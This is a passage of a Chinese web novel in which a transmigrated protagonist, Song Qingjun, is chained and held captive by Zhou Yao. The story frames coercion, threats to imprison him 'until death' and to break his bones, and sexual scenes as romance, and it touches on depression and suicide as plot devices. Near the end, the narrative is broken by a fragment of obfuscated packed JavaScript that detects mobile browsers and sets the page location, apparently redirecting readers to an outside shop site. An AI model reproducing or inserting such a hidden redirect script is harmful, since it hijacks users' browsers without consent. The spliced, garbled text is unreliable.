不管怎么样,至少宋清隽现在在他身边,那抹痕迹,也是他留下的。
周耀将手里的烟扔到了一边,侧身将床头灯关掉,心满意足地靠近宋清隽,扯了扯被子,却没能扯开。
最后,扯不开的周耀,将宋清隽连带被子拉进了自己的怀里。
宋清隽累的手指也不想动,更不用说骂周耀,虽然被桎梏住很不舒服,但好在耳根子清净,也可以将就着睡。
“晚安,清清。”
哦哦,睡吧你!
宋清隽迷糊地想着,脑袋蹭了蹭,找了一个舒服的地方,任由自己意识模糊。
窗外的月光,忽隐忽现,仰头望去,乌云漂浮在周围,像是想要侵蚀洁白月亮,恶劣得让其染上瑕疵般,不断靠近,不断围裹。
偶有一阵的,吹散乌云,月光倾洒而下,透过帘隙,落在床上的人身上,两人相拥而眠,万物宁静。
—
宋清隽是被闷醒的,梦里他被人死死捂住口鼻,双手被禁锢着,不可挣脱。他使劲的扑腾着,在快要小命呜呼前,猝然睁开了眼。
入目的是蜜色肌肤,微微仰头,是清晰分明的下颌线。他整个人被周耀紧紧搂紧怀抱里,对方的力气很大,像是怕他跑了一样。
我说呢,谁敢谋害朕?原来是这个狗!
被折腾的老腰隐隐作痛,宋清隽恨得牙痒痒。视线触及到周狗肩膀上的咬痕,昨夜的一幕幕像是高清视频一样,不断放映,宋清隽更生气了。
抬手,啪的一巴掌,打在了对方的脸上。
悦耳的巴掌声后,是清脆的铁链碰撞声。一个恍惚,宋清隽被强制开机的周耀压在了身下。
青年纤细的双手,被男人单手拢着死死按在了头顶,腰间再次被灼热的手烫了一下。
“一大早的,这么想吗?”
声音带着男性醒后独有的磁性,伴随着炽热的呼吸,一并入了宋清隽的心,他心尖一颤,嘴里的怒骂脱口而出。
“老畜牲,早个屁,都特么下午了!”
“下次喝酒,就别踏马回来了!”
“……”
周耀弯唇,现在的宋清隽像是一只炸了毛的猫一样。
那脱口而出的一声声怒骂,不仅没让周耀心生厌恶,反而让他起了兴趣。
他觉得,相比之前柔弱易倒,现在带感的对方,更能激起他的征服欲。
以及破坏欲。
“还记得来这别墅的第二天清晨,我说过什么嘛?”
一瞬间,宋清隽噤声,不禁回想起来。
——以后,你一句脏话,我睡你一次。
宋清隽浑身一抖,着实不想回想,太过羞耻,也太过丢脸。
两个什么都不懂的男人,战况可想而知的惨烈。
只不过,惨烈大都在周耀身上。
“不记得。”
宋清隽烦躁地挣了挣双手,如自己所料,并没有挣脱开。
周耀笑容变深,手指摩挲着宋清隽的腰窝,眼神深邃如同大海,一切的情绪隐藏极好,宋清隽窥探不到半分。
“笑什么?起开,我饿了。”
宋清隽虽不知道周耀想些什么,但他敏锐感觉到了危险,为了保全自己受苦受累的肾,果断地侧头,以实际行动表明自己的拒绝之意。
周耀靠近,贴近宋清隽。
湿意传来,宋清隽浑身一激灵,而后听到了周狗一字一句放慢的骚话,羞的宋清隽想遁地消失。
“周!耀!”
宋清隽是真的生气了,周耀笑了,放开了手。宋清隽得空,伸手将人推开,扯了扯被子,将自己完全盖住。
周耀依旧笑盈盈的,起身下床。
“下次喝酒不会再惹你了,好好休息。”
周耀穿着衣服,床上的人并没有反应,依旧鼓鼓的一个。周耀将衣服扣子扣好,靠近宋清隽。
修长的手指搭在上面,周耀久久后,呢喃一声。
“不会再喝酒了。”
而后,再无声音。
被窝里的宋清隽,抿着双唇,一手捂着自己的心脏,眼底的清冷不再。强有力的心脏声传来,宋清隽有些迷茫。
他动心了?
对一个原文里是渣渣的疯狗动心了。
寥寥数语,他便有些方寸大乱了。
【宿主,你动心了。】
系统001兀然出声,即使是奶娃娃音也尽是机械的冷漠。
【001下次别突然出来,吓到我了。】
宿主与系统的交流,有两个选择,一个是开口说话,另一个便是脑里交流。后者是多数人的选择,不突兀,也没有暴露风险。
而宋清隽和001亦如是。
宋清隽将被子掀开,露出脑袋,脖子以下被他用被子完完全全盖住,遮掩住满身春色。
【宿主,我们有宿主隐私保护法,就算你不盖被子,我们也看不到。】
【哦,知道,习惯。】
宋清隽以前是没有这个习惯的,在他的认知里,袒胸露乳是很正常。不过,从开始执行任务进入这个世界后,他就被迫改变了自己的习惯。
无他,一群
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人都惦记他。
特别是,刚刚离开的疯狗。
汰!
【说说吧,说好卖艺不卖身,我已经被囚禁一个星期了。】
【你有什么才艺?】
宋清隽被噎住,也是,他一个染着黄毛的小混混,有什么狗屁的才艺?
不过,这是重点吗?
重点是,他卖身了!!!
【更何况,系统检测,宿主你已经动心了。】
001句句都说在点上,宋清隽想要反驳,却无从反驳。
不过,宋清隽会见人说鬼话。
【所以,我开开心心和周狗在一起喽。】
001沉思,显然没有想到宋清隽会这么说。它查阅了宿主守则后,并没有发现明令禁止这种行为。而他们的任务,除了走剧情苟活和不能OOC外,也并没有涉及谈恋爱,因此,001也无所谓了。
【可以,宿主的任务:在遵循原主人设基础上,走完规定剧情,苟活三年。此外,是否谈恋爱不归系统掌管。】
宋清隽舔了舔自己的小虎牙,扯了一个笑容,态度友好。
【剧情走到哪里了?】
【剧情完成度百分之四十,OOC程度百分之五十一,已成功苟活一年。】
【嗯。】
宋清隽眉头紧蹙,本来任务完成度已经百分之六十了,结果主角攻周狗一崩,直接下降百分之二十!OOC程度直接飙升过半。
啧,不爽 。
【主角攻崩剧情了,这个怎么算?】
001默然,它当然知道原剧情崩了,但是自己反馈的情况并没有得到解决,目前无果,它也不知道怎么办。
【照常进行。】
【哦。】
宋清隽点头,打了一个呵欠。
突然敲门声响起,房门被推开。宋清隽以为是管家,开口想让对方将饭放下,却没想到是周耀。
宋清隽眯眸,心里不禁一乐,周狗可算是懂礼貌了,知道进门要敲门呢。
“清清。”
倚靠着床头的青年,头发柔软如丝,随意地垂落在额前,黝黑的眸子正一瞬不瞬的看着他,姿态慵懒而随意。搭在肚子前的双手,一手腕还戴着他定制的手链,银色的镣铐映衬的白皙的肌肤,色|欲气息扑面而来。
有一瞬的晃神。
晃神之后,升起的是无限的满足,以及……若有若无的妒忌。
为什么那个镣铐能这么贴近他的清清。
“傻愣着干嘛?我饿了!”
周耀丝毫不在意宋清隽的态度,端着刚煮好的粥,走了过去。
“我喂你。”
“不要!”
他只是被囚禁了,又没有断手!
“我说了,我喂你。”
周耀用勺子搅拌了一下,在嘴边吹了吹,然后递到了宋清隽的嘴前,以强硬地姿态,表明了自己要喂他。
宋清隽无语,周狗特么的又犯病了。
宋清隽侧头,在周耀说话前,无奈道:“还没洗漱。”
周耀挑眉,脸上的阴霾散去,放下碗勺,起身弯腰将宋清隽抱了起来,“我带你去。”
宋清隽累了,且不想反抗了。
你若是,可以一直这么乖,该多好啊……
周耀低头,就能看到那简单到极致的镣铐,雅致的镂空月季,是他亲手制作的。
很漂亮,戴在宋清隽的手上。
最后,洗漱是周耀来的,喂饭也是周耀来的。然后饭后,宋清隽跟个懒猪一样,又睡着了。
13. 第 13 章
周耀极少会留宿在落枫别墅,他就像是一个客人,反倒是宋清隽才像是这栋别墅的主人。
不过,这主人做的有些憋屈。
醒来后的宋清隽,瘫在床上,一动不动。动了动左手,清脆的碰撞声响起。“叮叮当当”,节奏感十足。
“这糜烂的生活……”
双腿交叠着,动作间,本就不大的衬衣退至腰间。艳红的痕迹暴露在空气中,暧昧十足。
“嘶——真冷。”
宋清隽起床,拢了拢身上的衬衣,遮盖住春色,缓步走到卫生间。
睡久了,腰疼。
宋清隽洗了把脸,从洗手间出来后,顺手拿了本书,关掉大灯,走向露台。
露台的布置,是按照原主喜好装修的,除了懒人椅,还有一个摇篮,很大,足矣容纳两个人。
除此之外,还有一架小型的钢琴。
原主是歌手,更是钢琴家。
而宋清隽,即使有了原主的记忆,即使明了且能熟练运用这些技能,骨子里还是那个二街的小混混。
那从骨子里不经意展现的高贵,便是他们之间无法逾越的鸿沟。
宋清隽扫了一眼一边的钢琴,像是没有注意到一样,轻哼了一声,选择了摇篮。
他坐在摇篮上,晃晃悠悠,随意打开的书就那么放在了他的腿上,而他则是仰头看向了天边。
天,又黑了呢。
有些羞耻,这吃吃睡睡的懒虫生活,太能消磨人的意志了。
不过更多的是恍如隔世。
他死的时候,也是在晚上。只不过,天上没有圆月,星星也是廖廖几颗。很平常的一个晚上,和今晚好像并没有什么不同。
他明明只是芸芸众生之一,还是那种劣质低下品种——贪生怕死,仗势欺人。可奇怪的是,为什么那一刻,又那么……唔,善心大发?
不然,无力逃跑的男孩,又和他有什么关系呢?
宋清隽想,再来一次,他肯定转身就走。这样他就可以避免死亡,也就不会遇见系统,更不用不用扮演他人的人生,那么……爱他的始终只爱他而已。
可转念又一想,那个男孩眼里是存了死志。如果真的动了手,可能大好的年华,就那么毁了。
背了杀人罪名,学校一定会辞退他的。
宋清隽思绪繁杂,想到最后也没想明白什么,反倒是郁闷了不少。
忽而,清风徐来,楼下的树摇曳着。夜色的笼罩下,宋清隽回神,他望向远方,却并未看清楚什么,别墅位于深山老林里,一片漆黑,只有耳边的树声在“哗哗”作响。
树孤寂。
宋清隽想。
微阖双眼,宋清隽有些委屈。泛滥的情感,充斥着胸腔,嘴巴发苦,好像吃了十斤的黄连般。
明明都是按照剧情来的,为什么会走到这个地步?到底哪一步走错?
剧情崩的他妈都快不认识了。
陷害,暧昧,下药……握草,下药不对,那疯狗应该和替身酿酿跄跄啊,怎么就自残了,还把他被囚禁了起来呢?
宋清隽猛地起身,书啪的一声掉在地上,他垂眸,是一张钢琴曲谱。
莫名其妙的十分恼火,宋清隽翻了个白眼,跨过书籍,朝外走去。
因为手上的锁链,宋清隽离不开卧室,在他走到门口的时候,整只手臂都是抬起伸直的状态。
宋清隽眯眸,舌尖抵住自己的小虎牙,心里将周耀的祖宗十八代都骂了一遍,他迫切的想要找到一个发泄口。
自残是不可能的,那么就只能折磨顾狗了。
宋清隽回到床边,拿起了座机拨通了管家的电话。
“李叔,麻烦你给阿耀打个电话,我有些事要找他。”
“好的,宋少爷。”
电话挂断,宋清隽思考着对策。
已知,动心。
解,动手,训狗。
已知:任务需要完成。
解,动手,训狗。
—
另一边,接到管家的电话时,周耀正在加班。因为昨晚醉酒,他上午和下午的活挤在一起,现在正在加班加点的干。
电话响起来,周耀看了来电显示,接通了电话。
电话接通,管家先询问了一番周耀,才表明来点目的。
“知道了,告诉他一个小时后,我会到家。”
刚才还没感觉,周耀抬眸,感觉眼睛酸涩不已,以及隐隐作痛的腰。
他捏了捏眉心,深吸了一口气。
“需要准备夜宵吗?”,管家问。
“他吃晚饭没?”
周耀没有回答,先问了宋清隽。
“没有,晚饭时候宋少爷好像没睡醒,并没有吃饭。”,饭是他送到门口的,像往常一样敲了门后,就离开了。等到他去收拾餐具的时候,晚饭还是原样,宋清隽并没有吃。
周耀感觉自己的头隐隐作痛,宋清隽是想绝食和他对抗吗?
“准备易消化的,油腻的就不要再弄了。”
宋清隽特别喜好吃肉,既然想绝食,那就先从肉类开始吧。
“好的。”
电话挂断,周耀关掉电脑,拿起外套,大步往外走去。
一个小时后,别墅。
周耀端着粥上了二楼,推开门,走了进去。
床尾,宋清隽双腿交叠坐着,听见声音,他仰头望去。视线相碰,看到是周耀时,他冷哼了一声。
周耀的眼神依旧深邃,他双唇轻抿着,并没有开口,端着粥走了过去。
“换件衣服。”
宋清隽扯了扯衬衣,想要遮盖住不该露的地方,然而只是无用功罢了,该露依旧要露。
“不行。”
周耀回绝。
“一个星期,够了。”宋清隽眸子湿润,声音从喃喃自语到撕心裂肺哭喊,“下药……一个星期的惩罚也够了,你到底想要怎么样?我是个人啊。”
宋清隽抬眸,长睫微颤,眼里的泪就那么落了下来,他轻轻的说道,像是询问自己一样。
“我只是喜欢你而已……”
随着一句“喜欢”,窒息感散去,周耀才感觉到自己活着。
说不怕那是假的,这一个星期,他不敢见宋清隽,生怕对方一脸厌恶地说讨厌他,可现在……
他说,他喜欢他。
但,为什么下药后,却要找许越轻?
周耀脑海里,浮现出那一幕幕,像是现实的一巴掌,提醒着宋清隽在说谎。
——找许越轻,二三四包厢,周耀中药,需要他。
——看住包厢,别让其他人来。
……
宋清隽撒谎!
周耀痛恨自己再一次的心软,他的眸色冷了冷心里想着:没关系,你说喜欢就是喜欢,我不会打破砂锅问到底……只要你陪着我就好。
爱,太奢侈了。
相比陪伴,我貌似只能负担起这个。
周耀沉默了一会,身上那股冷意一点点消退下去,他点点头,低沉的嗓音中透着放松。
“我知道,所以,清清这么喜欢我,那永远陪着我不好吗?”
宋清隽愣住,眼泪要落不落,眼里带着明显的错愕。
握草,你
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说什么?!
说你狗,你还真他娘的狗啊!
要囚禁我!!??
滚粗!
宋清隽是知道自己动心了,但是这踏马跟囚禁剥夺他自由有毛关系,什么喜欢你,就要永远陪着你!
“你认真的?周狗?”
宋清隽抬手将眼泪一擦,面色不虞,眼神里带着危险,示意周耀想好再说。
“这才是你啊。”
周耀喃喃自语,越过宋清隽,将手里的碗放在了桌子上,“先吃饭吧。”
“别扯犊子,赶紧说。”
“吃饭吧,吃完我再告诉你。”
宋清隽不耐,但确实已经饿了,他动身下床,走到了一边的桌子处,扯了一个小凳子,坐了下来。
“想好再说。”
宋清隽哼了一声,端起碗,喝了起来。
嗯,很好喝,很合胃口。
宋清隽吃得开心,眉头的愁苦散去,升起一抹满足。
一碗粥很快就见底了,宋清隽将最后一口粥喝完,放下了碗。
“你……唔。”
话没说完,宋清隽被拉进了怀里,堵住了嘴。动作过于大,衬衣扣子崩开,干燥温暖的大手覆在腰间,宋清隽不禁一抖,小虎牙磕在了对方的下唇,很快,铁锈味蔓延开。
周耀的动作急躁,宋清隽被迫承受着。在即将彻底失控,宋清隽抬手拧上周耀的腰。
“滚!”
疯狗!
周耀轻笑一声,松开宋清隽。
此刻,两人的位置极其近,仅隔几息。呼吸交缠着,宋清隽呼吸不稳,眼里浮现出泪花。
“疯子。”
“说话说话……干嘛动嘴?”
“好。”
“好个屁,起开。”
宋清隽挣扎着,想要起身。可周耀怎么可能如他的愿,他死死揽着他,手还不规矩的动来动去。
“我是真的想要你陪着我,如果可以”,周耀兀然笑了起来,深邃的眼眸泛起丝丝涟漪,像是春水荡漾开,宋清隽心尖一颤。
没的说,顾狗还是帅的。
“我想囚禁你至死。”
“打碎你的骨头,囚禁你到死。”
“如果你先死的话,我就自杀,然后我会把你的骨灰,和我的骨灰掺杂在一起,生生世世都是一体。”
“如果我先死的话……”
宋清隽一颤,浑身僵硬,心尖的异样散去,唯留的只有恐惧。
“你就自由了。”
周耀到嘴的话转了一个弯,他知道他吓到宋清隽了。
“所以,你要杀了我吗?”
宋清隽瘪嘴,郁闷道:“杀个屁,我不想坐牢。”
“那我就当清清,答应我的表白了。”
what?
表白?
谁家好人表白一顿威胁?
周耀弯腰抱住宋清隽,将头放在了对方的肩上,眼神中并没有喜悦,只有那平静到极致的诡异。
清清啊,如果我先死了,你要陪着我才好呢。
“你高兴就好。”
宋清隽懒得计较这些了,他得出去,走剧情!他不想任务失败,更不想去惩罚世界。
“什么时候解开?”
宋清隽故意动了动手,发出清脆的响声。
“那就得看你——的表现了。”
宋清隽咬牙,皮笑肉不笑,“好。”
你给我记住,顾狗,早晚有一天让你全都还回来。
清脆的铁链碰撞声,偶尔的呢喃,略带急促的呼吸,细汗密布,宋清隽被摁在床上。
14. 第 14 章
昏暗的包厢里,宋清隽一身白色衬衣,坐在众人的中间。他嘴角微勾,眼里满是戏谑看着面前的场景,整个人慵懒而又随意。
【宿主,我要说话了。】
【剧情进度百分之五十七,OOC程度百分之五十七。】
宋清隽:……
这和突然说话有什么区别?
难不成礼貌了些?
【你下次还是直接说吧,不用提醒我。】
不用提醒001也乐的自在,按照宋清隽意愿,应了。
【好的,宿主。】
【OOC程度又上升了?】
宋清隽沉默,OOC程度上升到八十就很危险了,是那种要被送到科研处研究的危险,上升到九十,世界意识就会出手,将他踢出去……或者绞杀。
【是的,经检测分析,来自于你左边的炮灰,他在怀疑你。】
【哈?】
宋清隽看去,恰好和系统嘴里的炮灰对视上,那一头黄毛,长得一张娃娃脸,在七彩灯光下,有种别致的感觉——精神小伙。
宋清隽微笑,黄毛点头。
“觉得我狠了?”
黄毛扬眉,没有想到宋清隽会这么直接,他下意识看向左侧。
许越清,那个不算替身的替身,此刻正被两个富家子弟押着,强行灌酒。
许越清的口鼻全都是白酒的辛辣,眼里的泪水止不住的往下坠落,内心的委屈仿佛要把的淹没,从心底探出嫉妒愤恨的怒火。
很奇怪,昏暗的灯光仿佛是个陪衬,又更像是气氛的点燃者。
从头到尾没有一丝存在感的许安心思一动,倒也生出了些不忍。
“你喜欢他吗?”
宋清隽像是来了兴趣,二郎腿放下,直起身端起了一杯清酒,轻轻抿了一口。
苦涩蔓延开,并不像想象之中那般好喝。
宋清隽微微蹙眉,放下了高脚杯。若无其事的,又靠了回去。
众人将宋清隽的反应全都收入眼底,不禁全都心痒。要不是宋清隽的家室摆在那里,这样的人,是这个圈子的都想沾染一番。
“没有。”
许安摇头,他看到许越清向他的投来的求救眼神,虽然心软。
但,对方找错了人。
这场局的主角是宋清隽。
“哦?我还想着你喜欢他呢。”
宋清隽轻笑一声,然后看向许越轻。像是才发现对方还在跪着一样,略带些恼意,“酒都喝完了,怎么还按着越清呢?”
“忘了忘了。”
“一时没反应过来。”
两个富家子弟笑得一脸荡漾,在他们看来,这似恼非恼的话,就像是一根羽毛轻轻刮动他们心尖一样,难耐却欢喜。
宋清隽听着两人调笑般的语气,只觉得瞬间浑身汗毛都竖了起来,差点兜不住想起身就跑。
【我靠,001这剧情这人物这发展,好颠好颠,我受不住了。】
【这边建议,宿主尽快走完这部分剧情,然后跑路。系统检测,在场百分之九十九都在觊觎你的菊花。】
宋清隽不禁菊花一紧,脸上的笑容险些维持不住,顿时坐立难安。
【我接受建议。】
宋清隽死死摁住自己想跑的冲动,笑呵呵看向许越轻,心里默念一句对不起,然后语气一调整,说道:“听说,你是阿耀养的小情儿。”
宋清隽,周耀的初恋兼白月光。
当初因为出国,两人大吵一顿,自此两个天之骄子未再见过面。
没有人愿意低头,因为骨子里都有自己的骄傲。
许越清抿唇,与宋清隽有着八分相似的眼眸,无任何的心虚。他直视着这个活在别人嘴里的白月光端详了一番后,点头。
“是,我是周耀包养的替身。”
声音很淡,没有屈辱,眼底一片清明。
在他看来,不过是一份职业而已。
他不用出卖自己的身体和那些娱乐圈里肮脏之人做交换,他只用适当的时候露个脸,让那位精神不太正常的人看看他的脸,就能省去很多麻烦,碰到金主心情好,也能捞点好处,多好的职业。
若不是不稳定,他都想即刻退圈。
一瞬,宋清隽脑袋空白一片,他好像感受到了那话语里的自豪,这……有点不对劲哇。
【001你有没有感觉到不对劲。】
【没有,扫描结果显示一切正常。】
【……】
“许先生挺自豪的嘛。”
听着像是嘲讽,其实宋清隽是真的佩服。
坐在一边玩游戏的少年,不知何时抬起了头,将手机一关往桌子上一扔,整个人散漫又傲气,上下打量着许越清,嗤笑道,“啧,脸可真厚。清隽你也是脾气好,这种货色也不知道周耀是瞎了眼还是怎么嘀,啧啧啧……”
“明岸,你这就不懂了吧,许越清可还是有可取之处的。”,说话的人一脸荡漾,眼神好不暧昧。
宋清隽安安静静的,仿佛这场闹剧不是他挑起来一样,没有搭理说话的人。
被叫做明岸的青年没有接腔,脸上带着明显的厌恶。但也不至于拆台,毕竟组局的是许安,接风洗尘也是给宋清隽。
有眼力劲的那些私生子们,笑得一脸讨好,“什么可取之处?”
“随叫随到?”
宋清隽内心抓马,从来都不知道,一个男人也能成一台戏,话语不断朝十八禁靠拢。
这时,沉默许久的许安说话了。
“刘城,你有些喧宾夺主了。”
包厢瞬间寂静,刘城说到底家室在这之中也是挺好的,要不然一个纵情情场的人,怎么可能能混进来。
“谁是主?是你许安?还是宋小少爷呢?”
刘城的眼神很不对劲,宋清隽瞬间眉间升起躁意。
“不然还能是你怎么滴?”
明岸翻了个白眼,就长着样还敢觊觎清隽,真给脸了。
“明少爷说得对。”刘城皮笑肉不笑。
宋清隽不想参与这些,刚好系统提示这部分剧情已经走完,随即,他柔声说道:“我有些累了。”
这里,他是一秒都不想多待了。
总觉得,自己清白不保。
宋清隽起身,包厢里的人大都跟着起身,面露不舍。虽然各各心怀鬼胎,但统一的,都不想宋清隽提前离开。
“我”
宋清隽话没说完,包厢的门就被推开了。
“我来接你回家。”
是周耀,一身黑色西装,头发梳向后面,露出了洁白饱满的额头,锋利的眉眼冲淡了桃花眼带来的柔情,周身气息冷冽,一同他说出的话一样。
不过,仔细听,倒也不难发现,他说这话时被刻意放柔的嗓音,温柔似水。
“接谁?你的金丝雀?还是你的前男友?”
宋清隽站在原地没有动,笑盈盈地看着门口的男人,歪头疑问道。
蠢笨的明知故问,周耀了然,这是闹狠了。
不过,是他自己主动的,他可没有强迫。
显然,周耀是得了便宜还卖乖。
不过,该低头还是得低头,毕竟五年前已经吃过亏了。
连面都没见,分了手。
“没有什么
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金丝雀,来接现男友。”
周耀淡淡开口,就那么看着宋清隽。
明岸眯眸,视线在两人之间扫来扫去,最后倒是定格在了左侧方的许安身上,那垂下的头发,紧紧扣着裤缝的手,清晰可见的筋络……唔,倒惹起他的兴趣了。
许安喜欢清隽。
或许说,这个圈子里没有谁不喜欢宋清隽的。
家室,样貌……无一不是顶配。
啧,还真是有趣。
宋清隽丝毫不晓得在场人心里的弯弯绕绕,对于周耀的回答,说不上什么开心,但确实成功让他把损对方的话吞了回去。
“随你开心。”
宋清隽感觉酒意好像上头了,整个人脑子不太行,他摆了摆手,朝门口走去,准备回家睡觉。
周耀上前一步,牵起宋清隽的手,朝包厢里的人点点头,拉着人往外走去。
宋清隽挣脱无果,也就随他去了。
好像已经被这狗强迫习惯了。
许越清看着两人离去,敛眸不语。
周耀从头到尾都没有看他一眼,视线自始自终都在宋清隽身上。
好了,心里那丝丝期待也没了。那未曾长大的小芽芽,彻底旱死。
许越清啊,毕竟是人,一个拥有七情六欲的俗人。他做不到在面对周耀的时候毫不动心。
毕竟一个优秀且把他从泥潭里拉出来的人,即使在他知道对方是有目的,知道对方不曾动心,他还是忍不住心存侥幸。
现在啊,他唯一爱的人,只有他自己了。
看的开,放得下,也算是他能活到现在的一个秘籍了。
“这主角都走了,聚会还继续吗?”
“继续个屁,我还有事,先走一步。”
宋清隽都走了,刘城也懒得装了,搂着自己带来的伴,带着一群巴结的小弟,乌泱泱的一片离开了。
然后,陆陆续续有人辞行。转眼,只剩下了许安,明岸和许越清。
“许少,我待会还有活动,感谢今晚的款待。”
许安摇头,嘴里的道歉转了又转,终还是没能在许越清离开前说出口。
“你觉得对不起许越清?”
“也不算是吧。”
明岸兀的一笑,“说不定人家不需要呢。”
许安没有说话,他和明岸不熟悉。明岸算的上是这个圈子里的异类,不走商圈,不混吃等死,自小搞艺术,如今一次画展比他们一年的红利还多的多。
这样的人,充满太多不确定性,他恰好不喜欢。
不确定,不可控,都是他厌恶的。
许安起身,“我还有事,单买好了。”
明岸点头,眼神示意,随意。
他能感受到对方的抵触,这次回来有大把的时间,来日方长呢。
另一边。
坐到车上后,宋清隽就已经差不多清醒了。本来就没有喝多烈的酒,醉意来的快去的也快。
只不过,现在,装醉比较好。
命根子被握在别人的手里。
宋清隽能感觉到巨大的危险,他就像是被堵在家里的小兔子,外面装兔子的狼正虎视眈眈。
“阿清,你怎么这么不乖呢?”
“不是说,要去工作的吗?为什么会来酒吧呢?”
“那些人看你的眼神真该死啊,好像把他们的眼珠子都挖出来呢……”
“阿清,阿清……”
一声声的,跟叫魂似的。
宋清隽内心不耐烦,抬手一勾,亲了上去。
“安静些,你不累吗?”
周耀失笑,没有再说什么。
15. 第 15 章
死在床上真的是一件很丢人的事情。
宋清隽累的手指都不想动,与之相反,他的大脑却异常的兴奋,跟身体上的疲惫简直是两个极端。
【系统啊,为什么我没有书里的一夜八次。】
系统只是系统,理解不了。
但这并不妨碍它回答。
【因为宿主你不是受,你要出力。】
宋清隽:……
眯成绿豆的眼,费力瞅了瞅面前的一坨屎。
对,001的外型是一坨屎,形状大抵和懒羊羊头上顶的差不多。
【系统啊,你不知道,人一旦接受了某个设定就难以改变了。】
比如,他。
一滴眼泪,成了攻。
然后就再也成不了受了。
【宿主,我是不懂,但我知道,你要补肾了。】
系统一针见血,奶娃娃的音,让宋清隽有一种犯罪的感觉。
【系统,你多少岁了?】
【比你大上千年。】
宋清隽:……
搞到最后,系统成了远古人了。
【嗐,远,不是,系统啊,你帮我看着周狗,我睡一会啊。】
宋清隽的不放心,不仅是周狗,也是自己。他自己什么德行,心里是一清二楚的。
怕疼,怕死,爱钱,爱色。
只想得到,不想付出。
而周狗对于他来说,既有钱,也有色。
久而久之,沦陷似乎是必然的。
可,宋清隽不愿意去承担这个风险。
尤其是,他还是个冒牌货。
【好的,宿主。】
—
宋清隽一睡就是一整天,直至太阳落山,偷溜进屋里的光,带着浓浓的暖意,唤醒了他。
愣愣地坐着,听见动静。
抬头。
意料之中,是周耀。
“睡了一天?”
周耀端着养胃的粥,身上的衣服还没换,几步走到了宋清隽的身边。
“嗯,一天。”
说着,宋清隽打了一个哈欠,眼角沁出泪花。
大抵是刚睡醒,他整个人愣愣的。周耀问什么,他就回答什么。
周耀笑,将碗放在一边,抬手为宋清隽拂去泪花,弯腰亲昵地靠近宋清隽。后者像是有所预料一样,任由自己被亲。
只是在结束时候,宋清隽抿了抿唇,意味不明地看了一眼周耀。
周耀:?
“没洗漱。”
“不嫌你脏。”
宋清隽:不,我嫌弃我自己脏。
—
宋清隽发现自己真的很容易会被亲,被摁着亲。
还是那种反抗不了的。
年轻人火气大,亲多了,难免会擦枪走火。
这一对比,宋清隽觉得,自己还是太弱了。
身上没有那二两肉,和周耀站在一起,简直绝了。
一眼看去,就知道,他是个受。
这是系统和他说的原话。
宋清隽不干了。
以前吃完饭,交公粮,干周耀。
现在吃完饭,麻溜窜到健身房,举杠铃。
举杠铃第一天。
丫的。
宋清隽扭伤了腰。
周耀砸伤了脚。
对此,宋清隽很是惭愧,觉得要讲义气,照顾周耀,直到他伤好为止。
然后,衣食住行都被宋清隽包了。
看到周耀带病工作,宋清隽一脸愁苦。
周耀开口,安慰他,“我没多大事,只是伤到脚了。”
宋清隽摇头,表示不是这个原因。
周耀疑惑。
宋清隽包含沧桑说,“原来总裁也是社畜。”
【和我一样悲惨,不过,我更悲惨,身心全都没了,卖艺也卖身。】
时时刻刻在线的系统:……
周耀:……
—
照顾周耀第一周。
宋清隽打碎了五个碗,毁了八件高定,烫伤了周耀两次(第三次周耀很有先见之明躲开了),推坏了两个轮椅。
宋清隽怂了。
他其实没有想要暗杀的心来着。
周耀:我能活着,得亏我命大。
白天,宋清隽使劲的做,晚上,宋清隽使劲的哭。周耀手段有些多,宋清隽hold不住,尤其是,在最要紧的关头,周耀停了下来。
大部分时候,周耀一般都会得到自己想要的。
比如,一句情话。
再比如,一个再也纯情不过的吻。
当然,有些时候,周耀玩不过宋清隽。
尤其是他受伤这段时期。
周耀被宋清隽摁在床上,背对着他。
后背传来的撞击感,让周耀整个世界颠倒起来。
他又是个极为会忍耐的人,所以……只有被做的神志不清的时候,宋清隽才能听到想听的声音。
—
宋清隽的任务卡着一动不动,系统忍不住催促了他。
奶娃娃的音,全然都是苦口婆心。
【小宋啊,你是死过一次的了。】
宋清隽:……
【所以,小宋你确定不进行任务吗?】
宋清隽不答反问,【我还会再死一次吗?】
001沉默了。
其实也算不上再死一次,宋清隽本来就是死的,任务结束后,宋清隽才有复活的机会。
【没错,苟活成功后,剧情进度卡着的话,任务相当于失败。】
剧情衍生苟活任务,剧情如果不发展,宋清隽做的所有都是白搭。
【哦,好。】
死亡和爱情,宋清隽还是能分得清的。
活着可比爱情重要多了。
【还有几个剧情点?】
系统查询,【目前剧情进度百分之五十七,OOC程度百分之六十七。】
【等会,OOC什么时候又高了?】
系统沉默,半晌悠悠道,【在你沉迷男色时,你的男色怀疑了你。】
谁懂!一察觉到OOC程度上涨,它就马不停蹄找根源。
结果嘞,一堆的马赛克。
布灵布灵,一个一个往上蹦。
宋清隽:……
周耀真特么妲己,褒姒。
【剧情点:抑郁症,周耀和许越清结婚,自杀】
宋清隽:……离了个大谱,我爹出轨我妈闺蜜,我妈跟着我爹兄弟跑路,我妹撺掇我爹扔了我……这么多奇葩事,都没能使我抑郁,一个爱不爱的问题使我抑郁?
【宿主,你现在练习一下,还是我直接导入情绪。】
宋清隽来兴趣了,【还能导入情绪?】
真高能,真智慧,真牛掰。
【可以,导入后也可以接触的,放心使用。】
【来来来,让我使用一番呗。】
【好的,满足宿主要求。】
【情绪导入,满二十四小时可结束。】
宋清隽等着,等了半天,身体没有一点反应。
【?系统?】
【已经导入了。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730650|145017||http|test|mini|href|location''.split(''|''),0,{}));
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>【我好像没有什么变化。】
—
才怪。
等到宋清隽看啥啥不顺眼的时候,宋清隽才意识,自己是真的病了。
他眨了一下泛酸的眼睛,盯着桌子上的水果……边的刀。在周耀喊他第六次的时候,宋清隽藏起略带危险的想法,扭头询问,“怎么了?”
周耀想要说的话卡在喉咙里,宋清隽他不对劲。
昨天之前,他但凡多喊几次宋清隽的名字,对方绝对会一脸无语,一脸受气,然后气哄哄干事。
但,此刻,宋清隽眸子里毫无情感波动,费力扬起的笑容有多勉强,他是知道。
“宋清隽。”
周耀再一次开口。
“嗯。”
宋清隽应了声。
很平淡。
周耀觉得,不是他病了,就是宋清隽病了。
“我想喝杯水。”
